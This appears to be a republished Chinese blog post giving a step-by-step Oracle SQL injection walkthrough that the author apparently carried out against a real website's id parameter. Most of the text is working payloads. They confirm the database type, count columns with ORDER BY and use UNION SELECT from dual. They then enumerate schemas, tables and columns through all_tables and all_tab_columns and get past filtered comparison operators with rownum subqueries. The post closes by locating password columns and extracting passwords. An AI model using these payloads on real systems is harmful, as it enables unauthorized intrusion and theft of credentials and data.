当前位置: 首页 > news >正文

oracle注入整理(一)

网上关于ORACLE注入的文章也不少,自己碰到一个站,闲着没事,自己也来整理一下,当做复习,只涉及猜解数据,而且能ORDER BY的情况下。

开始还是单引号,报错
id=520 and 1=1 正常
id=520 and 1=2 出错
如果报错时不显示是ORA的错误,不确定是否是ORACLE的数据库。
id=520 and ''||'1'='1' 返回正常
id=520 and ''||'2'='1' 返回无记录
那么基本上确定是ORACLE数据库,数字型注入
接着
id=520 order by 3 --  正常
一直到
id=520 order by 18 --正常
说明有18个字段,下面进入UNION查询。
id=520 union 1=2 select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是 dual。
id=520 union 1=2 select 1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--  正常,说明第一个字段是数字型,接着
id=520 union 1=2 select 1,2,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
错误,第二个字段不是数字型
id=520 union 1=2 select 1,'2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
正常,第二个字段是字符型
如果既不是数字也不是字符型,我们就用NULL代替,继续猜下一字段,
id=520 and 1=2 union select 1, '2 ', '3 ', '4', '5','6',7,8,9, '10',NULL,NULL,NULL,14,'15','16','17','18' from dual--
这个时候正常了,而且在页面的对应的位置显示对应的数字,也就是我们要找的字段。

id=520 and 1=2 union select 1, '2 ', '3 ', '4', (select banner from sys.v_$version where rownum=1),'6',7,8,9, '10',NULL,NULL,NULL,14,'15','16','17','18' from dual--
查询数据的版本,把结果显示在5对应的字段上。
继续提交


(select owner from all_tables where owner<>'SYS' and rownum=1)
得到一个库名字AAAA
(select owner from all_tables where owner<>'SYS' and owner<>'AAAA' and rownum=1)
得到第二库名字BBBB
以此类推
如果过滤了“>”、“<”号,以上方法是不行的,只有用别一种方法使用limit
(select data from (select rownum as limit,owner as data from sys.all_tables) where limit =9)

(select data from (select rownum as limit,owner as data from sys.all_tables) where limit =100)
会有此重复记录,比如说limit=9和limit=10返回的结果是一样的,如果数据库表很多的话 。

(select TABLE_NAME from all_tables where owner='AAAA'and rownum=1)
AAAA库中第一个表名,a1111
(select TABLE_NAME from all_tables where owner='AAAA'and TABLE_NAME<>'a1111' and rownum=1)
得到第二个表名,a2222
同样不用大于号,可以用limit
(select data from (select rownum as limit,TABLE_NAME as data from sys.all_tables where owner='AAAA') where limit =1)
第一个表名
(select data from (select rownum as limit,TABLE_NAME as data from sys.all_tables where owner='AAAA') where limit =2)
第二个表名


(select * from user_tab_columns where table_name='a1111' and rownum=1)
表a1111的第一个列名,1111a
(select * from user_tab_columns where table_name='a1111' and COLUMN_NAME<>'1111a' and rownum=1)
表a1111的第一个列名,2222a
或者是
(select data from (select rownum as limit,column_name as data from all_tab_columns where table_name='a1111') where limit =1)
表a1111的第一个列名,1111a


其实上面的都是没什么用的,因为如果我们要找密码的话,可以通过直接查询系统表来找到敏感的字段比较说pwd在那个表那个库,all_tables包含了所有的表的信息,想找有包含passwd的字段在哪就可以用 all_tab_columns:
(select owner||chr(35)||table_name||chr(35)||column_name from all_tab_columns where column_name like '%PASS%' and ROWNUM=1)
在oracle的系统表里数据都是大写的,所以用PASS而不是pass,就找到密码所在的库和表了,最后和其它注入一样。
(select passwd from a5555 where rownum=1)
就可以查询出密码来。

哈哈。写来写去也就是这些东西,自己做的时候好象没那么简单。

本文出自 “n3tl04d's Blog-技..” 博客

相关文章:

  • load_file() 入侵时查看常用敏感信息文件
  • 修改Linux内核参数提高Nginx服务器在高的时候的性能
  • Linux系统查看命令大全
  • Cisco路由配置命令
  • SSH如何防破解
  • Windows Credentials Editor v1.2 (WCE)在渗透过程中的关键作用
  • 渗透测试踩点之httprint指纹识别技术
  • 专业渗透人员在渗透过程中一定要记住的事以及数据库拷贝的注意事项
  • 内网渗透中SSh的巧用ring04h
  • 内网嗅探自我保护用到的批处理
  • 配置BT5中文环境
  • 送给linux渗透爱好者的小技巧
  • MySQL注射攻击与防范详解
  • 渗透国内知名公司内部局域网经过
  • Android 手机 超级终端命令解析
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 2019年如何成为全栈工程师?
  • CentOS 7 修改主机名
  • happypack两次报错的问题
  • Java的Interrupt与线程中断
  • node和express搭建代理服务器(源码)
  • Shadow DOM 内部构造及如何构建独立组件
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • 阿里中间件开源组件:Sentinel 0.2.0正式发布
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 大主子表关联的性能优化方法
  • 开源地图数据可视化库——mapnik
  • 离散点最小(凸)包围边界查找
  • 运行时添加log4j2的appender
  • 第二十章:异步和文件I/O.(二十三)
  • ​​​​​​​​​​​​​​Γ函数
  • ​用户画像从0到100的构建思路
  • ​云纳万物 · 数皆有言|2021 七牛云战略发布会启幕,邀您赴约
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • (6)添加vue-cookie
  • (Ruby)Ubuntu12.04安装Rails环境
  • (板子)A* astar算法,AcWing第k短路+八数码 带注释
  • (附源码)计算机毕业设计ssm本地美食推荐平台
  • (附源码)小程序儿童艺术培训机构教育管理小程序 毕业设计 201740
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (转)Oracle存储过程编写经验和优化措施
  • .bat文件调用java类的main方法
  • .Net Web项目创建比较不错的参考文章
  • .net 桌面开发 运行一阵子就自动关闭_聊城旋转门家用价格大约是多少,全自动旋转门,期待合作...
  • @property @synthesize @dynamic 及相关属性作用探究
  • [ linux ] linux 命令英文全称及解释
  • [20140403]查询是否产生日志
  • [20181219]script使用小技巧.txt
  • [3300万人的聊天室] 作为产品的上游公司该如何?
  • [AX]AX2012 AIF(四):文档服务应用实例
  • [C++进阶篇]STL中vector的使用
  • [COI2007] Sabor
  • [Excel]如何找到非固定空白格數列的條件數據? 以月份報價表單為例
  • [Flutter]设置应用包名、名称、版本号、最低支持版本、Icon、启动页以及环境判断、平台判断和打包